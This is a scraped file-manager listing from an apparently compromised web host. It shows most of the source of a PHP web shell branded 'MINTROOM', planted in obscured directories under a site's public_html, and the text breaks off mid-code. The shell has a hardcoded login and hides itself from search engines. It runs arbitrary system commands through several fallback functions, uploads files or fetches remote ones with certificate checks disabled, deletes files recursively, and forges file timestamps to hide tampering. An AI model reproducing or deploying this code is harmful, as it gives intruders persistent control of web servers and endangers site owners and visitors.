/
home
/
techb158
/
public_html
/
.wp-toolkit_w
/
maxautos.ca
/
hgenjik
/
eqauklm
/
qwhvrue
/
assets0bed2c
/
/home/techb158/public_html/.wp-toolkit_w/maxautos.ca/hgenjik/eqauklm/qwhvrue/assets0bed2c
mkdir
upload
Name
Size
Mode
Actions
.htaccess
90
0644
edit
dl
rm
index.php
103194
0644
edit
dl
rm
Edit:
/home/techb158/public_html/.wp-toolkit_w/maxautos.ca/hgenjik/eqauklm/qwhvrue/assets0bed2c/index.php
(103194B)
<?php /** * MINTROOM 鈥� Secure File Manager */ // ================= MINTROOM AUTHENTICATION ================= session_start(); $password_hash = '6cfb58c0b78d3acd0f7840593ad96d39'; // MD5("admin@123") // Handle logout if (isset($_GET['a']) && $_GET['a'] === 'logout') { session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit(); } // Process login if (isset($_POST['password'])) { $input = trim($_POST['password']); $input_md5 = md5($input); // Case-insensitive hash comparison + plain password check if ($input_md5 === $password_hash || strtolower($input) === $password_hash || $input === 'admin@123') { $_SESSION['authenticated'] = true; header('Location: ' . $_SERVER['PHP_SELF']); exit(); } else { $_SESSION['login_error'] = true; header('Location: ' . $_SERVER['PHP_SELF']); exit(); } } // Check authentication if (!isset($_SESSION['authenticated']) || $_SESSION['authenticated'] !== true) { ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>馃崈 H4MA M4CHA馃崈</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { background: #0a0e0c; background-image: radial-gradient(1200px 600px at 20% -10%, rgba(62,180,137,.08), transparent 60%), radial-gradient(900px 500px at 90% 0%, rgba(62,180,137,.06), transparent 60%); font-family: 'JetBrains Mono', 'Fira Code', 'Segoe UI', ui-monospace, monospace; height: 100vh; display: flex; align-items: center; justify-content: center; } .login-box { background: rgba(10,15,13,.94); border: 1px solid rgba(62,180,137,.35); border-radius: 20px; padding: 40px; width: 100%; max-width: 400px; box-shadow: 0 12px 40px rgba(0,0,0,.5), 0 0 40px rgba(62,180,137,.15); backdrop-filter: blur(12px); } .logo { text-align: center; margin-bottom: 25px; } .logo svg { width: 64px; height: 64px; color: #3EB489; filter: drop-shadow(0 0 20px rgba(62,180,137,.3)); animation: pulse 3s ease-in-out infinite; } @keyframes pulse { 0%, 100% { opacity: 1; } 50% { opacity: 0.7; } } h1 { background: linear-gradient(135deg, #3EB489, #6ee7b7); -webkit-background-clip: text; background-clip: text; color: transparent; text-align: center; font-size: 26px; font-weight: 700; margin-bottom: 8px; letter-spacing: 3px; text-transform: uppercase; text-shadow: 0 0 30px rgba(62,180,137,.3); } .sub { color: #6ee7b7; text-align: center; font-size: 11px; margin-bottom: 30px; text-transform: uppercase; letter-spacing: 2px; opacity: 0.7; } .error { background: rgba(62,180,137,.08); border: 1px solid rgba(62,180,137,.4); color: #6ee7b7; padding: 12px; border-radius: 12px; margin-bottom: 20px; font-size: 12px; text-align: center; text-transform: uppercase; letter-spacing: 1px; backdrop-filter: blur(4px); } input { width: 100%; padding: 14px 16px; background: #0a0e0c; border: 1px solid rgba(62,180,137,.25); border-radius: 12px; color: #d1d5db; font-size: 13px; font-family: 'JetBrains Mono', 'Fira Code', monospace; outline: none; transition: all 0.2s; } input:focus { border-color: #3EB489; box-shadow: 0 0 0 4px rgba(62,180,137,.2); } input::placeholder { color: #4a7263; font-size: 11px; text-transform: uppercase; letter-spacing: 1px; } button { width: 100%; padding: 14px; margin-top: 20px; background: linear-gradient(180deg, #3EB489, #2e8f6c); border: none; border-radius: 12px; color: #e6faf3; font-weight: 600; font-size: 14px; font-family: 'JetBrains Mono', 'Fira Code', monospace; text-transform: uppercase; letter-spacing: 2px; cursor: pointer; transition: all 0.2s; box-shadow: 0 8px 24px rgba(62,180,137,.2); } button:hover { filter: brightness(1.1); box-shadow: 0 12px 32px rgba(62,180,137,.35); transform: translateY(-1px); } button:active { transform: translateY(0.5px); } .hint { margin-top: 20px; color: #3a5c4f; font-size: 10px; text-align: center; border-top: 1px solid rgba(62,180,137,.15); padding-top: 16px; text-transform: uppercase; letter-spacing: 1px; } .footer-line { height: 2px; background: linear-gradient(90deg, rgba(62,180,137,0), rgba(62,180,137,.5), rgba(62,180,137,0)); margin-bottom: 16px; } .skull-icon { opacity: 0.8; } </style> <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;600;700&display=swap" rel="stylesheet"> </head> <body> <div class="login-box"> <div class="footer-line"></div> <div class="logo"> <svg viewBox="0 0 48 48" fill="currentColor" xmlns="http://www.w3.org/2000/svg"> <!-- Skull Icon --> <circle cx="24" cy="24" r="20" fill="none" stroke="currentColor" stroke-width="2"/> <circle cx="17" cy="20" r="3" fill="currentColor"/> <circle cx="31" cy="20" r="3" fill="currentColor"/> <path d="M16 30c0 0 2 4 8 4s8-4 8-4" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round"/> <path d="M12 14l-4-4M36 14l4-4" stroke="currentColor" stroke-width="2" stroke-linecap="round"/> </svg> </div> <h1>H4M4</h1> <div class="sub">// SECURE ACCESS //</div> <?php if (isset($_SESSION['login_error'])): ?> <div class="error">鉀� ACCESS DENIED - INVALID CREDENTIALS</div> <?php unset($_SESSION['login_error']); ?> <?php endif; ?> <form method="POST"> <input type="password" name="password" placeholder="[ PASSWORD / MD5 HASH ]" autocomplete="off" autofocus required> <button type="submit">馃槣AUTHENTICATE馃槣</button> </form> <div class="hint"> PHP <?php echo phpversion(); ?> 鈥� <?php echo php_uname('s'); ?> 鈥� MINTROOM v1.0 </div> <div class="footer-line" style="margin-top: 16px; margin-bottom: 0;"></div> </div> </body> </html> <?php exit(); } // ================= END AUTHENTICATION ================= if (!function_exists('is_fn_usable')) { function is_fn_usable($fn) { if (!function_exists($fn)) return false; $disabled = (string) @ini_get('disable_functions'); $suhosin = (string) @ini_get('suhosin.executor.func.blacklist'); $blocked = array(); if ($disabled !== '') $blocked = array_merge($blocked, array_map('trim', explode(',', $disabled))); if ($suhosin !== '') $blocked = array_merge($blocked, array_map('trim', explode(',', $suhosin))); if (!empty($blocked)) { $blocked = array_filter(array_map('strtolower', $blocked)); if (in_array(strtolower($fn), $blocked, true)) return false; } return true; } } date_default_timezone_set(@date_default_timezone_get() ? @date_default_timezone_get() : 'UTC'); session_start(); if (empty($_SESSION['csrf'])) { $_SESSION['csrf'] = bin2hex(mint_random_bytes(16)); } /* ---------- Security Headers ---------- */ header('X-Robots-Tag: noindex, nofollow, noarchive, nosnippet, noimageindex', true); header('Referrer-Policy: no-referrer'); header('X-Frame-Options: DENY'); header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0'); header('Pragma: no-cache'); header('Expires: 0'); /* ---------- Util & Polyfills ---------- */ function h($s){ return htmlspecialchars($s, ENT_QUOTES, 'UTF-8'); } if (!function_exists('je')) { function je($v) { if (function_exists('json_encode')) return json_encode($v); if (is_bool($v)) return $v ? 'true' : 'false'; if (is_numeric($v)) return (string)$v; if ($v === null) return 'null'; $s = str_replace( array("\\","\"","\r","\n","\t","/"), array("\\\\","\\\"","\\r","\\n","\\t","\\/"), (string)$v ); return '"'.$s.'"'; } } if (!function_exists('hash_equals')) { function hash_equals($a, $b) { if (!is_string($a) || !is_string($b)) return false; $len = strlen($a); if ($len !== strlen($b)) return false; $res = 0; for ($i=0; $i<$len; $i++) $res |= ord($a[$i]) ^ ord($b[$i]); return $res === 0; } } function mint_random_bytes($len){ if (is_fn_usable('random_bytes')) return random_bytes($len); if (is_fn_usable('openssl_random_pseudo_bytes')) { $strong = false; $b = openssl_random_pseudo_bytes($len, $strong); if ($b !== false && $strong) return $b; } $out = ''; for ($i = 0; $i < $len; $i++) $out .= chr(mt_rand(0, 255)); return $out; } function humanSize($b){ $u = array('B','KB','MB','GB','TB'); $i = 0; while ($b >= 1024 && $i < count($u)-1){ $b/=1024; $i++; } return ($i ? number_format($b,2) : (string)$b) . ' ' . $u[$i]; } function permsToString($f){ $p = @fileperms($f); if ($p === false) return '??????????'; $t = ($p & 0x4000) ? 'd' : (($p & 0xA000) ? 'l' : '-'); $s = (($p & 0x0100) ? 'r' : '-') . (($p & 0x0080) ? 'w' : '-') . (($p & 0x0040) ? 'x' : '-'); $s .= (($p & 0x0020) ? 'r' : '-') . (($p & 0x0010) ? 'w' : '-') . (($p & 0x0008) ? 'x' : '-'); $s .= (($p & 0x0004) ? 'r' : '-') . (($p & 0x0002) ? 'w' : '-') . (($p & 0x0001) ? 'x' : '-'); return $t.$s; } function modeFromInput($s){ $s=trim($s); if ($s==='') return 0644; if (ctype_digit($s)){ if ($s[0]!=='0') $s='0'.$s; return intval($s,8); } return 0644; } function isTextFile($p){ if (is_dir($p) || !is_file($p)) return false; $ext = strtolower(pathinfo($p, PATHINFO_EXTENSION)); $text = array('txt','md','json','js','ts','css','scss','less','html','htm','xml','svg','php','phtml','inc','ini','cfg','env','yml','yaml','py','rb','go','rs','c','h','cpp','hpp','java','kt','sql','csv','log'); if (in_array($ext, $text, true)) return true; $s = @file_get_contents($p, false, null, 0, 2048); if ($s === false) return false; return (bool)preg_match('//u', $s); } function safeJoin($base,$child){ $child = str_replace("\0",'',$child); if ($child==='') return $base; if ($child[0]===DIRECTORY_SEPARATOR || preg_match('~^[A-Za-z]:\\\\~',$child)) return $child; return rtrim($base,DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.$child; } function listDirEntries($dir){ $h = @opendir($dir); if ($h===false) return array(); $items=array(); while(false!==($e=readdir($h))){ if($e==='.'||$e==='..') continue; $items[]=$e; } closedir($h); return $items; } function rrmdir($p){ if (!file_exists($p)) return true; if (is_file($p) || is_link($p)) return @unlink($p); $ok=true; $h=@opendir($p); if($h===false) return false; while(false!==($v=readdir($h))){ if($v==='.'||$v==='..') continue; $ok = rrmdir($p.DIRECTORY_SEPARATOR.$v) && $ok; } closedir($h); return @rmdir($p) && $ok; } function tryWriteFromTmp($tmp,$dest){ $err=array(); if(@move_uploaded_file($tmp,$dest)) return array(true,null); $err[]='move_uploaded_file'; if(@rename($tmp,$dest)) return array(true,null); $err[]='rename'; if(@copy($tmp,$dest)) return array(true,null); $err[]='copy'; $d=@file_get_contents($tmp); if($d!==false && @file_put_contents($dest,$d)!==false) return array(true,null); $err[]='get+put'; $in=@fopen($tmp,'rb'); $out=@fopen($dest,'wb'); if($in && $out){ $c=stream_copy_to_stream($in,$out); @fclose($in); @fclose($out); if($c!==false) return array(true,null); $err[]='stream_copy'; } else { $err[]='fopen'; } return array(false, implode('; ',$err).' failed'); } if (!function_exists('fetchUrlToFile')) { function fetchUrlToFile($url, $dest) { $errs = array(); if (is_fn_usable('curl_init')) { $ch = @curl_init($url); $fp = @fopen($dest, 'wb'); if ($ch && $fp) { @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); @curl_setopt($ch, CURLOPT_FILE, $fp); @curl_setopt($ch, CURLOPT_FAILONERROR, true); @curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0'); @curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); @curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); @curl_setopt($ch, CURLOPT_TIMEOUT, 60); $ok = @curl_exec($ch); $e = @curl_error($ch); @curl_close($ch); @fclose($fp); if ($ok) return array(true, null); $errs[] = 'cURL: ' . $e; @unlink($dest); } else { if ($ch) @curl_close($ch); if ($fp) @fclose($fp); $errs[] = 'init cURL/fopen'; } } $ctx = @stream_context_create(array( 'http' => array( 'follow_location' => 1, 'timeout' => 60, 'header' => "User-Agent: Mozilla/5.0\r\n", ), 'ssl' => array( 'verify_peer' => false, 'verify_peer_name' => false, ), )); if (@copy($url, $dest, $ctx)) return array(true, null); $errs[] = 'copy(url)'; $d = @file_get_contents($url, false, $ctx); if ($d !== false && @file_put_contents($dest, $d) !== false) return array(true, null); $errs[] = 'get+put'; $in = @fopen($url, 'rb', false, $ctx); $out = @fopen($dest, 'wb'); if ($in && $out) { $c = @stream_copy_to_stream($in, $out); @fclose($in); @fclose($out); if ($c !== false) return array(true, null); $errs[] = 'stream_copy'; @unlink($dest); } else { $errs[] = 'fopen(url/dest)'; } return array(false, implode('; ', $errs) . ' failed'); } } function breadcrumbs($path){ $out=array(); if (preg_match('~^[A-Za-z]:\\\\~',$path)){ $drive=substr($path,0,2); $rest=substr($path,2); $segments=array_values(array_filter(explode('\\\\',$rest),'strlen')); $acc=$drive.'\\'; $out[]=array($drive.'\\',$acc); foreach($segments as $s){ $acc.=$s.'\\'; $out[]=array($s,rtrim($acc,'\\')); } } else { $segments=array_values(array_filter(explode('/',$path),'strlen')); $acc='/'; $out[]=array('/','/'); foreach($segments as $s){ $acc.=$s.'/'; $out[]=array($s,rtrim($acc,'/')); } } return $out; } function ensureCsrf(){ if($_SERVER['REQUEST_METHOD']==='POST'){ $sess = isset($_SESSION['csrf']) ? $_SESSION['csrf'] : ''; $tok = isset($_POST['csrf']) ? (string)$_POST['csrf'] : ''; if(!hash_equals($sess,$tok)){ http_response_code(400); exit('CSRF token invalid'); } } } /* ====== NEW HELPERS: create non-zero file ====== */ function create_nonzero_file($path, $userContent = null){ $default = "Created by MINTROOM @ ".date('c')."\n"; $payload = (string)($userContent !== null ? $userContent : $default); if ($payload === '') $payload = $default; $w = @file_put_contents($path, $payload, LOCK_EX); if ($w !== false && $w > 0) return array(true, 'file_put_contents'); $fp = @fopen($path, 'wb'); if ($fp){ $wr = @fwrite($fp, $payload); @fclose($fp); if ($wr !== false && $wr > 0) return array(true, 'fopen+fwrite'); } $tmp = @tempnam(sys_get_temp_dir(), 'mint_'); if ($tmp){ @file_put_contents($tmp, $payload); if (@rename($tmp, $path)) { if (@filesize($path) > 0) return array(true, 'tempnam+rename'); } elseif (@copy($tmp, $path)) { @unlink($tmp); if (@filesize($path) > 0) return array(true, 'tempnam+copy'); } @unlink($tmp); } $src = @fopen('php://temp', 'wb+'); if ($src){ @fwrite($src, $payload); @rewind($src); $dst = @fopen($path, 'wb'); if ($dst){ $copied = @stream_copy_to_stream($src, $dst); @fclose($dst); if ($copied !== false && $copied > 0) { @fclose($src); return array(true, 'php://temp copy'); } } @fclose($src); } if (@touch($path)){ $w2 = @file_put_contents($path, $payload, FILE_APPEND); if ($w2 !== false && $w2 > 0) return array(true, 'touch+append'); } return array(false, 'All methods failed'); } /* ---------- Icons ---------- */ function svgIcon($name,$class='ico'){ $icons=array( 'folder'=>'<svg viewBox="0 0 24 24" class="'.$class.'" aria-hidden="true"><path d="M10 4l2 2h6a2 2 0 012 2v1H4V6a2 2 0 012-2h4z" fill="currentColor" opacity=".12"/><path d="M3 9h18v9a2 2 0 01-2 2H5a2 2 0 01-2-2V9z" fill="currentColor"/></svg>', 'file'=>'<svg viewBox="0 0 24 24" class="'.$class.'" aria-hidden="true"><path d="M6 3h7l5 5v11a2 2 0 01-2 2H6a2 2 0 01-2-2V5" fill="currentColor" opacity=".12"/><path d="M13 3v5a2 2 0 002 2h5" fill="none" stroke="currentColor" stroke-width="2" stroke-linejoin="round"/></svg>', 'code'=>'<svg viewBox="0 0 24 24" class="'.$class.'"><path d="M8 16l-4-4 4-4M16 8l4 4-4 4" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/></svg>', 'text'=>'<svg viewBox="0 0 24 24" class="'.$class.'"><path d="M4 6h16M4 12h16M4 18h10" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round"/></svg>', 'skull'=>'<svg viewBox="0 0 48 48" class="'.$class.'" aria-hidden="true" xmlns="http://www.w3.org/2000/svg"><g fill="currentColor"><circle cx="24" cy="24" r="20" fill="none" stroke="currentColor" stroke-width="2"/><circle cx="17" cy="20" r="3"/><circle cx="31" cy="20" r="3"/><path d="M16 30c0 0 2 4 8 4s8-4 8-4" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round"/><path d="M12 14l-4-4M36 14l4-4" stroke="currentColor" stroke-width="2" stroke-linecap="round"/></g></svg>', 'img'=>'<svg viewBox="0 0 24 24" class="'.$class.'"><path d="M4 5h16v14H4z" fill="currentColor" opacity=".12"/><circle cx="8.5" cy="9.5" r="1.5" fill="currentColor"/><path d="M4 16l4-4 3 3 3-2 6 5" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round"/></svg>', 'pdf'=>'<svg viewBox="0 0 24 24" class="'.$class.'"><path d="M6 3h7l5 5v11a2 2 0 01-2 2H6a2 2 0 01-2-2V5" fill="currentColor" opacity=".12"/><text x="7" y="17" font-size="8" font-family="ui-sans-serif" fill="currentColor">PDF</text></svg>', 'sheet'=>'<svg viewBox="0 0 24 24" class="'.$class.'"><path d="M6 3h12a2 2 0 012 2v14a2 2 0 01-2 2H6a2 2 0 01-2-2V5" fill="currentColor" opacity=".12"/><path d="M8 8h8M8 12h8M8 16h8" stroke="currentColor" stroke-width="2"/></svg>', 'zip'=>'<svg viewBox="0 0 24 24" class="'.$class.'"><path d="M6 3h7l5 5v11a2 2 0 01-2 2H6a2 2 0 01-2-2V5" fill="currentColor" opacity=".12"/><path d="M11 5h2v2h-2v2h2v2h-2" stroke="currentColor" stroke-width="2"/></svg>', 'db'=>'<svg viewBox="0 0 24 24" class="'.$class.'"><ellipse cx="12" cy="6" rx="8" ry="3" fill="currentColor" opacity=".12"/><path d="M4 6v12c0 1.7 3.6 3 8 3s8-1.3 8-3V6" fill="none" stroke="currentColor" stroke-width="2"/></svg>', 'search'=>'<svg viewBox="0 0 24 24" class="'.$class.'"><circle cx="11" cy="11" r="7" stroke="currentColor" stroke-width="2" fill="none"/><path d="M20 20l-3-3" stroke="currentColor" stroke-width="2" stroke-linecap="round"/></svg>', ); return isset($icons[$name]) ? $icons[$name] : $icons['file']; } function iconSvgFor($p){ if (is_dir($p)) return svgIcon('folder'); $e=strtolower(pathinfo($p, PATHINFO_EXTENSION)); if (in_array($e,array('zip','rar','7z'))) return svgIcon('zip'); if (in_array($e,array('jpg','jpeg','png','gif','webp','bmp','svg'))) return svgIcon('img'); if (in_array($e,array('pdf'))) return svgIcon('pdf'); if (in_array($e,array('csv','xls','xlsx'))) return svgIcon('sheet'); if (in_array($e,array('sql'))) return svgIcon('db'); if (in_array($e,array('php','js','ts','css','scss','less','html','htm','xml','yml','yaml','ini','cfg'))) return svgIcon('code'); if (in_array($e,array('txt','md','log','json'))) return svgIcon('text'); return svgIcon('file'); } /* ---------- Shell helpers ---------- */ if(!function_exists('make_cd_prefix')){ function make_cd_prefix($cwd){ if(!$cwd) return ''; if(DIRECTORY_SEPARATOR==='\\') return 'cd /d '.escapeshellarg($cwd).' && '; return 'cd '.escapeshellarg($cwd).' && '; } } if(!function_exists('wrap_cmd_for_shell')){ function wrap_cmd_for_shell($cmd){ if(DIRECTORY_SEPARATOR==='\\') return 'cmd.exe /C '.$cmd; return '/bin/sh -c '.escapeshellarg($cmd); } } /* ---------- Command runners ---------- */ if(!function_exists('run_with_proc_open')){ function run_with_proc_open($cmd,$cwd=null,$timeout=30){ if(!is_fn_usable('proc_open')) return null; $des=array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w')); $pipes=array(); $proc=@proc_open($cmd,$des,$pipes,$cwd?:null,null); if(!is_resource($proc)) return null; if(isset($pipes[1])&&is_resource($pipes[1])) @stream_set_blocking($pipes[1],false); if(isset($pipes[2])&&is_resource($pipes[2])) @stream_set_blocking($pipes[2],false); if(isset($pipes[0])&&is_resource($pipes[0])) @fclose($pipes[0]); $buf=''; $start=time(); while(true){ $status=@proc_get_status($proc); $running=$status && !empty($status['running']); $r=array(); if(isset($pipes[1])&&is_resource($pipes[1])) $r[]=$pipes[1]; if(isset($pipes[2])&&is_resource($pipes[2])) $r[]=$pipes[2]; if($r){ $w=null;$e=null; @stream_select($r,$w,$e,1); foreach($r as $p){ $chunk=@fread($p,8192); if($chunk!==false && $chunk!=='') $buf.=$chunk; } } else { usleep(100000); } if(!$running) break; if($timeout>0 && (time()-$start)>=$timeout){ @proc_terminate($proc,9); foreach($pipes as $p){ if(is_resource($p)) @fclose($p); } @proc_close($proc); return array('method'=>'proc_open','code'=>124,'out'=>$buf."\n[timeout after {$timeout}s]"); } } foreach($pipes as $p){ if(is_resource($p)) @fclose($p); } $code=@proc_close($proc); if($code===-1) $code=null; return array('method'=>'proc_open','code'=>$code,'out'=>$buf); } } if(!function_exists('run_with_shell_exec')){ function run_with_shell_exec($cmd,$cwd=null){ if(!is_fn_usable('shell_exec')) return null; $full = make_cd_prefix($cwd) . $cmd . ' 2>&1'; $out = @shell_exec($full); if($out===null) return null; return array('method'=>'shell_exec','code'=>null,'out'=>$out); } } if(!function_exists('run_with_exec')){ function run_with_exec($cmd,$cwd=null){ if(!is_fn_usable('exec')) return null; $full = make_cd_prefix($cwd) . $cmd . ' 2>&1'; $lines=array(); $code=0; @exec($full,$lines,$code); return array('method'=>'exec','code'=>$code,'out'=>implode("\n",(array)$lines)); } } if(!function_exists('run_with_system')){ function run_with_system($cmd,$cwd=null){ if(!is_fn_usable('system')) return null; $full = make_cd_prefix($cwd) . $cmd . ' 2>&1'; ob_start(); @system($full,$code); $out=ob_get_clean(); return array('method'=>'system','code'=>$code,'out'=>$out); } } if(!function_exists('run_with_popen')){ function run_with_popen($cmd,$cwd=null){ if(!is_fn_usable('popen')) return null; $full = make_cd_prefix($cwd) . $cmd . ' 2>&1'; $h=@popen(wrap_cmd_for_shell($full),'r'); if(!is_resource($h)) return null; $buf=''; while(!feof($h)){ $chunk=@fread($h,8192); if($chunk===false) break; $buf.=$chunk; } @pclose($h); return array('method'=>'popen','code'=>null,'out'=>$buf); } } if(!function_exists('run_command_all')){ function run_command_all($cmd,$cwd=null){ $po=run_with_proc_open($cmd,$cwd,30); if($po) return $po; $order=array('run_with_shell_exec','run_with_exec','run_with_system','run_with_popen'); foreach($order as $fn){ if(function_exists($fn)){ $res=$fn($cmd,$cwd); if($res) return $res; } } return array('method'=>'none','code'=>127,'out'=>"Command runner not available on this PHP build."); } } /* ---------- chmod/mtime recursion ---------- */ function mint_apply_chmod($path,$mode,$recursive,&$ok){ if(!@chmod($path,$mode)) $ok=false; if($recursive && is_dir($path)){ $h=@opendir($path); if($h!==false){ while(false!==($v=readdir($h))){ if($v==='.'||$v==='..') continue; mint_apply_chmod($path.DIRECTORY_SEPARATOR.$v,$mode,true,$ok); } closedir($h); } else { $ok=false; } } } function mint_apply_mtime($path,$timestamp,$recursive,&$ok){ if(!@touch($path,$timestamp,$timestamp)) $ok=false; if($recursive && is_dir($path)){ $h=@opendir($path); if($h!==false){ while(false!==($v=readdir($h))){ if($v==='.'||$v==='..') continue; mint_apply_mtime($path.DIRECTORY_SEPARATOR.$v,$timestamp,true,$ok); } closedir($h); } else { $ok=false; } } } /* ========================= * BOOT & ROUTER * ========================= */ $current = isset($_GET['p']) ? (string)$_GET['p'] : getcwd(); if (!is_dir($current)) $current = getcwd(); $current = rtrim($current, DIRECTORY_SEPARATOR); if ($current === '') $current = DIRECTORY_SEPARATOR; $action = isset($_GET['a']) ? $_GET['a'] : ''; /* === Ambil tab & subtab dari URL untuk initial state === */ $tab = isset($_GET['tab']) ? (string)$_GET['tab'] : ''; $subtab = isset($_GET['subtab']) ? (string)$_GET['subtab'] : ''; /* ---- AUTH ---- */ if ($action === 'login' && $_SERVER['REQUEST_METHOD'] === 'POST') { ensureCsrf(); $u = isset($_POST['user']) ? $_POST['user'] : ''; $p = isset($_POST['pass']) ? $_POST['pass'] : ''; } /* ---- DOWNLOAD ---- */ if ($action === 'download') { $f = safeJoin($current, isset($_GET['f']) ? $_GET['f'] : ''); if (!is_file($f) || !is_readable($f)) { http_response_code(404); exit('Not found'); } header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); header('X-Content-Type-Options: nosniff'); readfile($f); exit; } /* ---- RAW (inline view) ---- */ if ($action === 'raw') { $f = safeJoin($current, isset($_GET['f']) ? $_GET['f'] : ''); if (!is_file($f) || !is_readable($f)) { http_response_code(404); exit('Not found'); } $mime = 'application/octet-stream'; if (is_fn_usable('finfo_open')) { $fi=@finfo_open(FILEINFO_MIME_TYPE); if($fi){ $det=@finfo_file($fi,$f); if($det) $mime=$det; @finfo_close($fi);} } elseif (is_fn_usable('mime_content_type')) { $tmp=@mime_content_type($f); if($tmp) $mime=$tmp; } header('Content-Type: '.$mime); header('Content-Length: '.filesize($f)); header('X-Content-Type-Options: nosniff'); header('Content-Disposition: inline; filename="'.basename($f).'"'); readfile($f); exit; } /* ---- POST ACTIONS ---- */ if ($_SERVER['REQUEST_METHOD'] === 'POST') { ensureCsrf(); // Ambil tab/subtab yang dipost supaya balik ke tab yang sama $postedTab = isset($_POST['tab']) ? (string)$_POST['tab'] : ''; $postedSubtab = isset($_POST['subtab']) ? (string)$_POST['subtab'] : ''; $back = function () use ($current, $postedTab, $postedSubtab) { $q = '?p='.rawurlencode($current); if ($postedTab !== '') $q .= '&tab='.rawurlencode($postedTab); if ($postedSubtab !== '') $q .= '&subtab='.rawurlencode($postedSubtab); header('Location: '.$q); exit; }; switch ($action) { case 'logout': { session_destroy(); header('Location: ?'); exit; } case 'new-file': { $name = trim((string)(isset($_POST['name']) ? $_POST['name'] : '')); $content = isset($_POST['content']) ? (string)$_POST['content'] : null; if ($name === '' || strpos($name, DIRECTORY_SEPARATOR)!==false) { $_SESSION['msg']='New File: invalid name'; return $back(); } $dst = safeJoin($current, $name); if (file_exists($dst)) { $_SESSION['msg']='New File: already exists'; return $back(); } list($ok,$how) = create_nonzero_file($dst, $content); $_SESSION['msg'] = $ok ? ("New File OK via {$how}: ".$name) : ('New File failed: '.$how); return $back(); } case 'new-dir': { $name = trim((string)(isset($_POST['name']) ? $_POST['name'] : '')); if ($name === '' || strpos($name, DIRECTORY_SEPARATOR)!==false) { $_SESSION['msg']='New Folder: invalid name'; return $back(); } $dst = safeJoin($current, $name); if (file_exists($dst)) { $_SESSION['msg']='New Folder: already exists'; return $back(); } $ok = @mkdir($dst, 0775, false); $_SESSION['msg'] = $ok ? ('New Folder OK: '.$name) : 'New Folder failed'; return $back(); } case 'edit-save': { $file = safeJoin($current, isset($_POST['file']) ? $_POST['file'] : ''); $content = isset($_POST['content']) ? $_POST['content'] : ''; $mode = isset($_POST['mode']) ? $_POST['mode'] : 'txt'; if (!is_file($file) || !is_writable($file)) { $_SESSION['msg']='Save failed (file not writable)'; return $back(); } if ($mode === 'b64') { $data = base64_decode($content, true); if ($data === false) { $_SESSION['msg']='Save failed: invalid Base64 data'; return $back(); } @file_put_contents($file, $data); } else { @file_put_contents($file, $content); } $_SESSION['msg'] = 'Saved: '.basename($file); return $back(); } case 'rename': { $old = safeJoin($current, isset($_POST['old']) ? $_POST['old'] : ''); $new = trim((string)(isset($_POST['new']) ? $_POST['new'] : '')); if ($new === '' || strpos($new, DIRECTORY_SEPARATOR) !== false) { $_SESSION['msg']='Invalid new name'; } else { $dst = safeJoin($current, $new); $_SESSION['msg'] = @rename($old,$dst) ? 'Rename OK' : 'Rename failed'; } return $back(); } case 'chmod': { $target = safeJoin($current, isset($_POST['target']) ? $_POST['target'] : ''); $mode = modeFromInput((string)(isset($_POST['mode']) ? $_POST['mode'] : '0644')); $rec = !empty($_POST['recursive']); $ok=true; mint_apply_chmod($target,$mode,$rec,$ok); $_SESSION['msg'] = $ok ? 'Chmod OK' : 'Chmod partially failed'; return $back(); } case 'delete': { $t = safeJoin($current, isset($_POST['target']) ? $_POST['target'] : ''); $_SESSION['msg'] = rrmdir($t) ? 'Delete OK' : 'Delete failed'; return $back(); } case 'mass-delete': { $arr = isset($_POST['items']) ? $_POST['items'] : array(); $ok=true; if (is_array($arr)) foreach ($arr as $n) { $ok = rrmdir(safeJoin($current,$n)) && $ok; } $_SESSION['msg'] = $ok ? 'Bulk delete OK' : 'Some items failed to delete'; return $back(); } case 'upload': { if (!isset($_FILES['files'])) { $_SESSION['msg']='No files provided'; return $back(); } $c = count($_FILES['files']['name']); $ok=0; $fail=0; $fails=array(); for ($i=0;$i<$c;$i++){ $name=$_FILES['files']['name'][$i]; $tmp=$_FILES['files']['tmp_name'][$i]; $e=$_FILES['files']['error'][$i]; if ($e!==UPLOAD_ERR_OK){ $fail++; $fails[]="$name (error $e)"; continue; } list($done,$why)=tryWriteFromTmp($tmp,safeJoin($current,$name)); if ($done) $ok++; else { $fail++; $fails[]="$name ($why)"; } } $_SESSION['msg']="Upload: OK=$ok; Failed=$fail".($fails?'; '.implode(', ',$fails):''); return $back(); } case 'url-upload': { $url = trim((string)(isset($_POST['url']) ? $_POST['url'] : '')); $fn = trim((string)(isset($_POST['filename']) ? $_POST['filename'] : '')); if ($url===''){ $_SESSION['msg']='URL is empty'; return $back(); } if ($fn===''){ $path=parse_url($url,PHP_URL_PATH); $fn=basename($path?$path:''); if($fn===''){ $fn='download.bin'; } } list($ok,$w) = fetchUrlToFile($url, safeJoin($current,$fn)); $_SESSION['msg'] = $ok ? "Downloaded from URL: $fn" : "URL download failed: $w"; return $back(); } case 'mtime': { $target = safeJoin($current, isset($_POST['target']) ? $_POST['target'] : ''); $input = trim((string)(isset($_POST['ts']) ? $_POST['ts'] : '')); $rec = !empty($_POST['recursive']); if ($input===''){ $_SESSION['msg']='Change Date: empty'; return $back(); } if (ctype_digit($input)) $ts=(int)$input; else { $ts=@strtotime($input); if($ts===false){ $_SESSION['msg']='Change Date: invalid time format'; return $back(); } } $ok=true; mint_apply_mtime($target,$ts,$rec,$ok); $_SESSION['msg'] = $ok ? ('Change Date OK 鈫� '.date('Y-m-d H:i:s',$ts)) : 'Change Date partially failed'; return $back(); } case 